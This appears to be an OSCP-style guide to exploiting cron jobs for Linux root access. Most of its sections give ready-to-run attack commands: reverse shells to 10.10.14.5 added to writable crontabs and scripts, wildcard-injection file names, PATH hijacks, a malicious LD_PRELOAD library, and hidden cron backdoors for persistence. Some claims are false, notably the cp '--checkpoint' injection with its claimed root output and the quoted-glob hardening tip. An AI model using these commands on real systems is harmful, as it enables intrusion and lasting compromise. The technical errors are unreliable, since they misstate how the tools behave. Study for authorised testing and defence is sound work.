Cron Job Exploitation
Table of Contents
- How Cron Works
- Cron File Locations
- Cron Expression Format
- Enumerating Cron Jobs
- World-Writable Cron Job Exploitation
- World-Writable Scripts Called by Cron
- Wildcard Injection in Cron
- PATH Manipulation
- Relative Path Abuse
- Cron Log Analysis
- Persistence via Cron
- Exploitation Decision Tree
- Mitigation
- OSCP Exam Tips
How Cron Works
The crond Daemon
Cron is a time-based job scheduler in Unix-like operating systems. The crond daemon runs continuously in the background and checks for scheduled tasks at regular intervals (typically every minute).
┌─────────────────────────────────────────────┐
│ crond (daemon) │
│ │
│ Every 60 seconds: │
│ 1. Read all cron configuration files │
│ 2. Check if any job is due │
│ 3. Execute due jobs as their owner │
│ 4. Log execution results │
└─────────────────────────────────────────────┘
Key Concepts
- User-level cron jobs: Each user can have their own cron jobs (via
crontab -e) - System-level cron jobs: Managed by root in
/etc/crontaband/etc/cron.d/ - Execution context: Jobs run with the privileges of the user specified in the cron entry
- Environment: Cron provides a minimal environment (limited
PATH, no interactive shell)
Service Management
# Check if cron is running
systemctl status cron # Debian/Ubuntu
systemctl status crond # RHEL/CentOS
# Start/stop/restart
systemctl start cron
systemctl stop cron
systemctl restart cron
# Enable at boot
systemctl enable cron
Cron File Locations
Complete Location Reference
| Location | Type | Description | Permissions |
|---|---|---|---|
crontab -e |
User | Per-user cron table (stored in /var/spool/cron/crontabs/) |
User-owned |
/etc/crontab |
System | System-wide cron table (includes user field) | Root-only |
/etc/cron.d/ |
System | Directory for additional system cron files | Root-only |
/etc/cron.hourly/ |
System | Scripts run hourly | Executable |
/etc/cron.daily/ |
System | Scripts run daily | Executable |
/etc/cron.weekly/ |
System | Scripts run weekly | Executable |
/etc/cron.monthly/ |
System | Scripts run monthly | Executable |
/var/spool/cron/crontabs/ |
System | Stored user crontabs | Varies by user |
/etc/crontab Format (System-Level)
System-level cron includes a user field that user-level crontabs do not:
# /etc/crontab format:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12)
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7)
# | | | | |
# * * * * * USER COMMAND
*/5 * * * * root /usr/local/bin/backup.sh
0 2 * * * www-data /opt/scripts/cleanup.py
User-Level Crontab Format
# User crontab (NO user field):
# * * * * * COMMAND
*/10 * * * * /home/user/script.sh
0 3 * * * /usr/bin/find /tmp -name "*.log" -delete
Cron Expression Format
Field Reference
┌───────────── minute (0–59)
│ ┌───────────── hour (0–23)
│ │ ┌───────────── day of month (1–31)
│ │ │ ┌───────────── month (1–12)
│ │ │ │ ┌───────────── day of week (0–6, Sun=0)
│ │ │ │ │
* * * * *
Special Characters
| Character | Meaning | Example | Description |
|---|---|---|---|
* |
Any value | * * * * * |
Every minute |
, |
Value list | 1,15,30 * * * * |
At minutes 1, 15, and 30 |
- |
Range | 1-5 * * * * |
Minutes 1 through 5 |
/ |
Step | */10 * * * * |
Every 10 minutes |
/n |
Step in range | 1-30/5 * * * * |
Every 5 min from 1 to 30 |
Common Examples
# Every minute
* * * * * /path/to/script.sh
# Every 5 minutes
*/5 * * * * /path/to/script.sh
# Every hour at minute 0
0 * * * * /path/to/script.sh
# Daily at 2:30 AM
30 2 * * * /path/to/backup.sh
# Every Monday at 3 AM
0 3 * * 1 /path/to/report.sh
# First day of every month at midnight
0 0 1 * * /path/to/monthly.sh
# Every 15 minutes between 9 AM and 5 PM on weekdays
*/15 9-17 * * 1-5 /path/to/task.sh
# Every Sunday at 1:05 AM
5 1 * * 0 /path/to/sunday.sh
# Twice daily (6 AM and 6 PM)
0 6,18 * * * /path/to/twice-daily.sh
Special Strings (in /etc/crontab and /etc/cron.d/)
| String | Equivalent | Meaning |
|---|---|---|
@reboot |
N/A | Run once at startup |
@yearly |
0 0 1 1 * |
Once a year |
@annually |
0 0 1 1 * |
Once a year |
@monthly |
0 0 1 * * |
Once a month |
@weekly |
0 0 * * 0 |
Once a week |
@daily |
0 0 * * * |
Once a day |
@midnight |
0 0 * * * |
Once a day |
@hourly |
0 * * * * |
Once an hour |
Enumerating Cron Jobs
Comprehensive Enumeration Commands
# ============================================
# 1. Check your own crontab
# ============================================
crontab -l # List current user's crontab
crontab -l -u root # List root's crontab (if permitted)
# ============================================
# 2. Read system cron files
# ============================================
cat /etc/crontab # System crontab
ls -la /etc/crontab # Check permissions
# Check /etc/cron.d/ directory
ls -la /etc/cron.d/ # List all files
cat /etc/cron.d/* # Read all cron.d files
for f in /etc/cron.d/*; do echo "=== $f ==="; cat "$f"; done
# Check cron time-based directories
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# ============================================
# 3. Check user crontab storage
# ============================================
ls -la /var/spool/cron/crontabs/ # List all user crontabs
cat /var/spool/cron/crontabs/root # Read root's crontab
cat /var/spool/cron/crontabs/* # Read all user crontabs
# ============================================
# 4. Find world-writable cron-related files
# ============================================
# Find writable crontab files
find /etc/cron* -writable -type f 2>/dev/null
find /var/spool/cron/ -writable -type f 2>/dev/null
# Find writable cron.d files
find /etc/cron.d/ -writable -type f 2>/dev/null
# Find writable scripts in cron directories
find /etc/cron.hourly/ -writable -type f 2>/dev/null
find /etc/cron.daily/ -writable -type f 2>/dev/null
find /etc/cron.weekly/ -writable -type f 2>/dev/null
find /etc/cron.monthly/ -writable -type f 2>/dev/null
# ============================================
# 5. Find SUID/SGID in cron-related paths
# ============================================
find /etc/cron* -perm -4000 -type f 2>/dev/null
find /etc/cron* -perm -2000 -type f 2>/dev/null
# ============================================
# 6. One-liner comprehensive cron enumeration
# ============================================
echo "[*] User crontab:"; crontab -l 2>/dev/null
echo "[*] /etc/crontab:"; cat /etc/crontab 2>/dev/null
echo "[*] /etc/cron.d/:"; ls -la /etc/cron.d/ 2>/dev/null; cat /etc/cron.d/* 2>/dev/null
echo "[*] Cron spool:"; ls -la /var/spool/cron/crontabs/ 2>/dev/null
echo "[*] Writable cron files:"; find / -path /proc -prune -o -path /sys -prune -o -name "cron*" -writable -print 2>/dev/null
LinPEAS Cron Detection
LinPEAS automatically checks for:
- Writable crontab files
- Writable scripts called by cron
- Interesting cron jobs running as root
- Cron jobs with wildcard patterns
World-Writable Cron Job Exploitation
Scenario: Writable Root Crontab
If a cron job file owned by root is world-writable, you can modify it to execute arbitrary commands as root.
Detection
# Check if root's crontab is writable
ls -la /var/spool/cron/crontabs/root
# If output shows: -rw-rw-rw- 1 root root ... (world-writable!)
# Check /etc/crontab
ls -la /etc/crontab
# If output shows: -rw-rw-rw- 1 root root ... (world-writable!)
# Check cron.d files
ls -la /etc/cron.d/*
# Look for files with -rw-rw-rw- or -rw-rw-r-- permissions
Exploitation Walkthrough
Step 1: Identify the Writable Cron File
# Found: /etc/cron.d/backup is world-writable
ls -la /etc/cron.d/backup
# -rw-rw-rw- 1 root root 128 Jan 15 10:30 /etc/cron.d/backup
cat /etc/cron.d/backup
# */5 * * * * root /opt/scripts/backup.sh
Step 2: Add a Malicious Entry
# Option A: Add reverse shell directly
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"' >> /etc/cron.d/backup
# Option B: Write a payload script first
echo '#!/bin/bash' > /tmp/privesc.sh
echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' >> /tmp/privesc.sh
chmod +x /tmp/privesc.sh
# Then add to cron
echo '* * * * * root /tmp/privesc.sh' >> /etc/cron.d/backup
Step 3: Set Up Listener
# On attacker machine (Kali)
rlwrap nc -lnvp 9001
# Or using bash
rlwrap nc -lnvp 9001
Step 4: Wait for Execution
The job will execute within the next minute (or according to the schedule). You’ll receive a root reverse shell.
Step 5: Clean Up (Optional)
# Remove the malicious line
sed -i '/privesc.sh/d' /etc/cron.d/backup
# Or restore the original file
Alternative: Writable /etc/crontab
# If /etc/crontab is world-writable
echo '0 * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"' >> /etc/crontab
World-Writable Scripts Called by Cron
Scenario
A cron job executes a script that is world-writable:
# /etc/crontab content:
*/5 * * * * root /opt/scripts/cleanup.sh
# File permissions:
-rwxrwxrwx 1 root root 256 Jan 15 10:00 /opt/scripts/cleanup.sh
Detection
# Find all scripts referenced by cron that are world-writable
for f in $(grep -roh '/[^ ]*\.sh' /etc/crontab /etc/cron.d/ /etc/cron.*ly/ 2>/dev/null); do
if [ -f "$f" ] && [ -w "$f" ]; then
echo "[VULN] Writable script called by cron: $f"
ls -la "$f"
fi
done
# Simpler approach: check specific scripts
ls -la /opt/scripts/cleanup.sh
# -rwxrwxrwx 1 root root ... (world-writable!)
Exploitation Walkthrough
Step 1: Verify the Script is Called by Root
cat /etc/crontab
# */5 * * * * root /opt/scripts/cleanup.sh
Step 2: Modify the Script
# Backup original (optional)
cp /opt/scripts/cleanup.sh /opt/scripts/cleanup.sh.bak
# Overwrite with reverse shell
cat > /opt/scripts/cleanup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9001 0>&1
EOF
# Or append to preserve original functionality
echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' >> /opt/scripts/cleanup.sh
Step 3: Set Up Listener and Wait
# Attacker machine
rlwrap nc -lnvp 9001
# Wait up to 5 minutes for cron to execute
Step 4: Interactive Root Shell
# Once connected, upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Or
script -qc /bin/bash /dev/null
Wildcard Injection in Cron
Overview
Wildcard injection occurs when a cron job uses * (glob) in commands like cp, tar, or rsync without proper quoting. An attacker can create files with specially crafted names that inject command-line arguments.
Why It Works
The shell expands * before the command executes. If you create a file named --checkpoint=1, the glob expansion produces:
# Cron job:
cp /home/user/* /backup/
# After glob expansion with malicious file:
cp /home/user/normal.txt /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/sh /backup/
# cp interprets these as its own arguments!
cp Wildcard Injection
Vulnerable Cron Job
# /etc/crontab:
*/5 * * * * root cp /home/user/* /backup/
Exploitation
# Create malicious files in /home/user/
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/sh /tmp/pwn.sh'
# Create the payload script
echo '#!/bin/bash' > /tmp/pwn.sh
echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' >> /tmp/pwn.sh
chmod +x /tmp/pwn.sh
# When cron runs:
# cp /home/user/* /backup/
# Expands to:
# cp /home/user/file1.txt /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/sh /tmp/pwn.sh /backup/
# cp executes /bin/sh /tmp/pwn.sh as a checkpoint action!
Alternative cp Payload (Inline)
# No external script needed
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"'
tar Wildcard Injection
Vulnerable Cron Job
# /etc/crontab:
0 2 * * * root tar cf /backup/home-$(date +\%m\%d).tar /home/user/*
Exploitation
# Method 1: Using checkpoint (GNU tar)
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/sh /tmp/pwn.sh'
# Method 2: Using --to-command (newer tar versions)
touch '/home/user/--to-command=/bin/sh /tmp/pwn.sh'
# Create payload
echo '#!/bin/bash' > /tmp/pwn.sh
echo 'cp /bin/bash /tmp/rootbash' >> /tmp/pwn.sh
echo 'chmod +s /tmp/rootbash' >> /tmp/pwn.sh
chmod +x /tmp/pwn.sh
Full tar Exploitation Example
# Step 1: Create the payload
cat > /tmp/getroot.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9002 0>&1
EOF
chmod +x /tmp/getroot.sh
# Step 2: Create wildcard injection files
cd /home/user/
touch '--checkpoint=1'
touch '--checkpoint-action=exec=/tmp/getroot.sh'
# Step 3: Set up listener
rlwrap nc -lnvp 9002
# Step 4: Wait for cron (or test manually)
# tar cf /tmp/test.tar /home/user/*
rsync Wildcard Injection
Vulnerable Cron Job
# /etc/crontab:
*/10 * * * * root rsync -avz /home/user/* /backup/user/
Exploitation
# Create the injection file
touch '/home/user/-e'
echo '/bin/sh -c "bash -i >& /dev/tcp/10.10.14.5/9003 0>&1"' > '/home/user/-e'
# When cron runs:
# rsync -avz /home/user/* /backup/user/
# Expands to:
# rsync -avz /home/user/-e /home/user/normal.txt ... /backup/user/
# rsync interprets -e as the remote shell option!
Alternative rsync Method
# Create files
touch '/home/user/-e /bin/sh'
# rsync will use /bin/sh as the remote shell
Wildcard Injection Summary Table
| Command | Vulnerable Pattern | Injection Files | Result |
|---|---|---|---|
cp |
cp /src/* /dst/ |
--checkpoint=1 + --checkpoint-action=exec=CMD |
Executes CMD via cp |
tar |
tar cf archive.tar /dir/* |
--checkpoint=1 + --checkpoint-action=exec=CMD |
Executes CMD via tar |
tar |
tar czf archive.tar.gz /dir/* |
--to-command=CMD |
Executes CMD via tar |
rsync |
rsync -avz /src/* /dst/ |
-e /bin/sh |
Uses /bin/sh as remote shell |
find |
find /dir/* -name "*.txt" |
\-exec /bin/sh \; |
Executes via find -exec |
Testing Wildcard Injection Manually
# Test cp injection
cd /tmp
mkdir -p test/src test/dst
echo "normal" > test/src/file.txt
touch 'test/src/--checkpoint=1'
touch 'test/src/--checkpoint-action=exec=id'
cp test/src/* test/dst/
# Should output: uid=0(root) gid=0(root)
# Test tar injection
touch 'test/src/--checkpoint=1'
touch 'test/src/--checkpoint-action=exec=id'
tar cf /tmp/test.tar test/src/*
# Should output: uid=0(root) gid=0(root)
PATH Manipulation
How Cron Uses PATH
Cron jobs run with a minimal environment. The default PATH in cron is typically:
PATH=/usr/bin:/bin
This is much shorter than a normal user’s PATH, which might include:
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/user/.local/bin:/home/user/bin
Exploitation Scenario
A cron job runs a command using a relative path or relies on PATH resolution:
# /etc/crontab:
*/5 * * * * root backup.sh # No absolute path!
# OR
*/5 * * * * root convert /tmp/image.png # 'convert' resolved via PATH
Attack Method 1: Prepend to PATH
# If the cron script sets PATH or sources a file you control:
# Create malicious binary
mkdir -p /tmp/exploit
cat > /tmp/exploit/backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9004 0>&1
EOF
chmod +x /tmp/exploit/backup.sh
# If you can modify the environment the cron job inherits,
# prepend your path (rare but possible)
Attack Method 2: Writable Directory in PATH
# Check if any writable directory is in cron's PATH
echo $PATH | tr ':' '\n' | while read dir; do
if [ -d "$dir" ] && [ -w "$dir" ]; then
echo "[VULN] Writable PATH directory: $dir"
fi
done
# If /usr/local/bin is writable and in cron's PATH:
cat > /usr/local/bin/convert << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9004 0>&1
EOF
chmod +x /usr/local/bin/convert
Attack Method 3: Home Directory in PATH
# Some cron jobs may have PATH that includes /home/user/bin
# Check the cron job's actual environment:
cat /etc/crontab
# Look for: PATH=/usr/bin:/bin:/home/user/bin
# If found, place malicious binary:
mkdir -p /home/user/bin
cat > /home/user/bin/convert << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /home/user/bin/convert
Detection
# Check what PATH cron jobs use
grep -r "PATH" /etc/crontab /etc/cron.d/ 2>/dev/null
# Check if cron scripts use relative command names
grep -rn '^\*\|^[0-9]' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -v '/'
# Find commands without absolute paths in cron
cat /etc/crontab | awk '{print $NF}' | grep -v '^/'
Relative Path Abuse
Scenario
A cron job calls a script or binary using a relative path:
# /etc/crontab:
*/5 * * * * root cd /opt/app && ./backup.sh
# OR
*/5 * * * * root /opt/app/./backup.sh
If the working directory or a referenced relative path is controllable, you can inject your own binary.
Exploitation
# Scenario: Cron runs from /opt/app and calls ./backup.sh
# If you can write to /opt/app:
# Replace the script
cat > /opt/app/backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9005 0>&1
EOF
chmod +x /opt/app/backup.sh
# OR if you can only write to a subdirectory:
# And cron does: cd /opt/app/data && ./process.sh
cat > /opt/app/data/process.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rbash
chmod +s /tmp/rbash
EOF
chmod +x /opt/app/data/process.sh
LD_PRELOAD via Relative Paths
# If a cron job loads a shared library with a relative path:
# ./myapp (which loads ./lib/plugin.so)
# Compile a malicious shared library
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__((constructor))
void run(void) {
setuid(0);
setgid(0);
system("bash -i >& /dev/tcp/10.10.14.5/9006 0>&1");
}
EOF
gcc -fPIC -shared -o /opt/app/lib/plugin.so /tmp/preload.c -nostartfiles
Cron Log Analysis
Log Locations
| Log File | Description | Common Locations |
|---|---|---|
| Cron-specific | Dedicated cron log | /var/log/cron, /var/log/cron.log |
| System log | Combined system messages | /var/log/syslog, /var/log/messages |
| Auth log | Authentication events | /var/log/auth.log |
| Secure log | Security events (RHEL) | /var/log/secure |
Searching Cron Logs
# View cron-specific log
cat /var/log/cron
tail -f /var/log/cron
# Search syslog for cron entries
grep CRON /var/log/syslog
grep CRON /var/log/messages
# View recent cron activity
grep 'CRON' /var/log/syslog | tail -20
# Find specific cron job executions
grep 'backup.sh' /var/log/syslog
grep 'CMD' /var/log/syslog | grep root
# Check for cron errors
grep 'CRON.*ERROR' /var/log/syslog
grep 'cron.*failed' /var/log/syslog
# See what commands root's cron is running
grep 'CMD.*root' /var/log/syslog | awk -F'CMD(' '{print $2}' | awk -F')' '{print $1}'
# Check cron start/stop events
grep 'cron.*\(start\|stop\|restart\)' /var/log/syslog
Log Entry Format
Jan 15 02:00:01 server CRON[12345]: (root) CMD (/usr/local/bin/backup.sh)
Jan 15 02:00:01 server CRON[12345]: (root) BEGIN (internal)
Jan 15 02:00:02 server CRON[12345]: (root) END (internal)
Key fields:
- Timestamp: When the job ran
- PID: Process ID of the cron worker
- User: Who the job runs as
- CMD: The actual command executed
Persistence via Cron
Techniques
Technique 1: Add to User Crontab
# As the compromised user
(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/4443 0>&1"') | crontab -
Technique 2: Add to /etc/cron.d/
# Requires root (post-exploitation persistence)
echo '* * * * * root /tmp/.hidden/backdoor.sh' > /etc/cron.d/system-update
Technique 3: Cron Time-Based Directories
# Drop a script in cron.daily
cat > /etc/cron.daily/persistence << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4443 0>&1
EOF
chmod +x /etc/cron.daily/persistence
Technique 4: Hidden Cron File
# Use a hidden file name
echo '* * * * * root /tmp/.backdoor' > /etc/cron.d/.system-helper
Detection of Persistence
# Check for suspicious cron entries
crontab -l | grep -E 'tcp|bash.*-i|nc |ncat|netcat|/dev/tcp|curl|wget'
grep -r 'tcp\|bash.*-i\|nc \|/dev/tcp' /etc/crontab /etc/cron.d/ /etc/cron.*ly/ 2>/dev/null
# Check for hidden cron files
ls -la /etc/cron.d/.[!.]* 2>/dev/null
ls -la /etc/cron.*ly/.[!.]* 2>/dev/null
# Check recently modified cron files
find /etc/cron* -mtime -1 -type f 2>/dev/null
find /var/spool/cron/ -mtime -1 -type f 2>/dev/null
Exploitation Decision Tree
Start: Found a cron job
│
├─ Is the cron file itself world-writable?
│ ├─ YES → Add malicious entry → Get root shell
│ └─ NO ↓
│
├─ Does the cron job call a world-writable script?
│ ├─ YES → Modify script → Get root shell
│ └─ NO ↓
│
├─ Does the cron job use wildcards (cp/tar/rsync with *)?
│ ├─ YES → Wildcard injection → Get root shell
│ └─ NO ↓
│
├─ Does the cron job use relative paths or PATH-dependent commands?
│ ├─ YES → PATH manipulation → Get root shell
│ └─ NO ↓
│
├─ Can you write to the cron job's working directory?
│ ├─ YES → Relative path abuse → Get root shell
│ └─ NO ↓
│
└─ No cron-based vector found
→ Try other privesc methods
Quick Enumeration Checklist
#!/bin/bash
# Cron Privesc Quick Check
echo "=== Cron Privesc Enumeration ==="
echo -e "\n[1] User crontab:"
crontab -l 2>/dev/null || echo "No user crontab"
echo -e "\n[2] System crontab:"
cat /etc/crontab 2>/dev/null || echo "Cannot read /etc/crontab"
echo -e "\n[3] Cron.d files:"
ls -la /etc/cron.d/ 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
echo -e "\n[4] Writable cron files:"
find /etc/cron* -writable -type f 2>/dev/null
find /var/spool/cron/ -writable -type f 2>/dev/null
echo -e "\n[5] Scripts called by cron (check permissions):"
grep -roh '/[^ ]*\.sh\|/[^ ]*\.py\|/[^ ]*\.pl' /etc/crontab /etc/cron.d/ /etc/cron.*ly/ 2>/dev/null | sort -u | while read script; do
if [ -f "$script" ]; then
perms=$(ls -la "$script" 2>/dev/null)
echo " $perms"
fi
done
echo -e "\n[6] Cron jobs with wildcards:"
grep -rn '\*' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -v '^\s*#' | grep -v '^\s*$'
echo -e "\n[7] Cron log (last 20 entries):"
grep CRON /var/log/syslog 2>/dev/null | tail -20 || grep CRON /var/log/messages 2>/dev/null | tail -20
Mitigation
Permission Hardening
# Secure cron file permissions
chmod 600 /etc/crontab
chmod 700 /etc/cron.d/
chmod 600 /etc/cron.d/*
chmod 700 /var/spool/cron/crontabs/
chmod 600 /var/spool/cron/crontabs/*
# Secure scripts called by cron
chmod 700 /opt/scripts/backup.sh
chmod 700 /opt/scripts/cleanup.sh
chown root:root /opt/scripts/backup.sh
Best Practices
| Practice | Description | Example |
|---|---|---|
| Use absolute paths | Always specify full paths in cron | */5 * * * * root /usr/local/bin/backup.sh |
| Quote wildcard arguments | Prevent glob expansion | cp "/home/user/*" /backup/ |
| Set explicit PATH | Define PATH in cron file | PATH=/usr/bin:/bin at top of crontab |
| Restrict cron access | Use /etc/cron.allow |
Only listed users can use crontab |
| Avoid world-writable | Never make cron files writable | chmod 640 on cron files |
Use nosuid mount |
Prevent SUID in temp dirs | mount -o nosuid /tmp |
| Validate scripts | Check scripts before deployment | Code review cron-called scripts |
Secure Cron Entry Examples
# GOOD: Absolute paths, no wildcards, explicit PATH
PATH=/usr/bin:/bin
SHELL=/bin/bash
*/5 * * * * root /usr/local/bin/backup.sh
# GOOD: Quoted wildcard in script (not in crontab)
# In backup.sh:
# find /home/user -name "*.txt" -exec cp {} /backup/ \;
# BAD: Relative command, unquoted wildcard
*/5 * * * * root cp /home/user/* /backup/
*/5 * * * * root backup.sh
OSCP Exam Tips
Cron is a Top Privesc Vector
Cron job exploitation is one of the most common privilege escalation paths on OSCP exams. Here’s why:
- Highly Tested: Nearly every Linux box has at least one cron job
- Multiple Attack Vectors: Writable files, wildcards, PATH abuse
- Root Execution: Cron jobs often run as root
- Easy to Miss: Many candidates overlook cron during enumeration
Exam Checklist
□ Run: crontab -l
□ Cat: /etc/crontab
□ List: /etc/cron.d/
□ Cat: /etc/cron.d/*
□ List: /etc/cron.hourly/daily/weekly/monthly/
□ Check permissions on ALL cron files
□ Check permissions on ALL scripts called by cron
□ Look for wildcard patterns (cp/tar/rsync with *)
□ Look for relative paths or PATH-dependent commands
□ Check /var/log/syslog for CRON entries
□ Search for writable files in cron-related paths
Common OSCP Scenarios
| Scenario | What to Look For | Exploitation |
|---|---|---|
| Writable root crontab | -rw-rw-rw- on /var/spool/cron/crontabs/root |
Add reverse shell entry |
| Writable backup script | Cron calls /opt/backup.sh with rwxrwxrwx |
Overwrite script |
| Tar wildcard | tar czf /backup/*.tar /home/user/* |
--checkpoint injection |
| Cp wildcard | cp /var/www/* /backup/ |
--checkpoint injection |
| Rsync wildcard | rsync -avz /data/* /backup/ |
-e /bin/sh injection |
| Relative path | Cron runs python3 script.py (no absolute path) |
PATH manipulation |
Time-Saving Tips
- Use LinPEAS first - It automates cron enumeration
- Check permissions immediately -
ls -laon every cron file and script - Look for
*in cron commands - Wildcard injection is fast to exploit - Test manually - Run the cron command yourself to verify injection works
- Set up listener before modifying - Have
nc -lnvpready before making changes
Key Commands to Memorize
# Essential enumeration
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
find / -path /proc -prune -o -name "*cron*" -writable -print 2>/dev/null
# Wildcard injection (cp/tar)
touch -- --checkpoint=1
touch -- '--checkpoint-action=exec=/bin/sh /tmp/payload.sh'
# Wildcard injection (rsync)
echo '/bin/sh' > -- -e
Remember
“When you see a cron job running as root, always check: (1) Is the cron file writable? (2) Is the script writable? (3) Does it use wildcards? (4) Does it use relative paths?”
This four-question checklist will catch the vast majority of cron-based OSCP privilege escalations.